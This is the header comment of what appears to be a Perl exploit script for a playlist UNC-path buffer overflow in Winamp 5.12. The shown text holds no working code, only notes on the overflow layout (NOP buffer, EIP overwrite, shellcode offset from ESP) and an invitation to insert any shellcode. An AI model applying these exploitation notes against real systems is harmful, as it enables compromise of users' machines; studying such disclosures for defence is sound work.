#!/usr/bin/perl -w # =============================================================================================== # Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit # By Umesh Wanve (umesh_345@yahoo.com) # =========================================================================================================================== # Credits : ATmaCA is credited with the discovery of this vulnerability. # # Date : 07-03-2007 # # Tested on Windows 2000 SP4 Server English # Windows 2000 SP4 Professional English # # You can replace shellcode with your favourite one :) # # # Buffer = "\x90 x 1023" + EIP # # Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes. When you debug it, you will see that # shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can. # # # This was written for educational purpose.
